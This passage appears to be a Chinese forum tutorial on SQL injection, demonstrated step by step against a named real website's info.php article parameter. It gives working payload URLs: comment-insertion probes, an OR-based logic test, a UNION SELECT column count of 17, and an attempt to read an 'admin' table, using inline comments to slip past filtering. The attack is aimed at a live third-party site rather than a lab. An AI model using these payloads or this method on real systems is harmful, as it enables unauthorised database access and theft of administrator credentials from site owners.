什么意思呢??我想给大家看的是“/*XXXX*/”,没错,会编程的,都知道这是代码注释!换句话说,在代码编译的过程中,这部分会被忽略。充其量他就是个回车或者空格
怎么测试安全性呢?
在原来的地址上http://www.chts.cn/info.php?articleid=545
后面加上注释:
http://www.chts.cn/info.php?articleid=545/*ABCD234*/
再次访问,发现和原来的页面一样没变化。正常显示就表示这次是成功的注射。怎么说呢?
看这里:http://bbs.shudoo.com/viewthread.php?tid=1790611&extra=page%3D1
这个是GET方式提交吧?好吧好吧,注射就是注入,我们用GET的方式把恶意的语句插入到了原来的代码里就叫注入
我们加了/*ABCD234*/,原来的php代码就成了(没看get和post的就不会理解的)
'select * from chts_article where articleid=545/*ABCD234*/ 然后原本后面的语句仍然继续执行
这是注释插入,我们看到了插入了注释,充其量就是个空格或者回车。
我们继续访问http://www.chts.cn/info.php?articleid=545标题是《关于举办2005年全国公路治超与计重收费技术研讨会的通知》
变一下变量访问http://www.chts.cn/info.php?articleid=54标题是《关于举办2005年全国公路治超与计重收费技术研讨会的通知》
我们看到了两个不同标题的文档。编号545和编号54的文档。
我们下面用and和or来测试:
继续使用GET
http://www.chts.cn/info.php?articleid=545/*ABC*/orarticalid=54
原本articleid=545的页面就成了54号文档《关于举办2005年全国公路治超与计重收费技术研讨会的通知》了
这是怎么回事呢,就是一个逻辑门,学过编程的都应该知道这个。
再看原来的php语句就成了'SELECT * FROM chts_article WHERE articleid = 545/*ABCD234*/or articleid = 54
不懂编程的话,and和or你也就不用知道了
既然已经确定过滤不严漏洞存在了,就要猜表段数
其实这个比较机械,而且非常机械,网上的工具很多
这里我猜的表段是第17
http://www.chts.cn/info.php?articleid=545/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
这个当做是排座位好了,不需要理解太深(其实我也不怎么理解,我怕我说了不对被人笑哈)
好了,下面开始猜表段名我们假设是admin
那么语句就该是:
http://www.chts.cn/info.php?articleid=545/*Juliet_NaNa*/and/*Juliet_NaNa*/1=2/*Juliet_NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*Juliet_NaNa*/admin/*
显然显示错误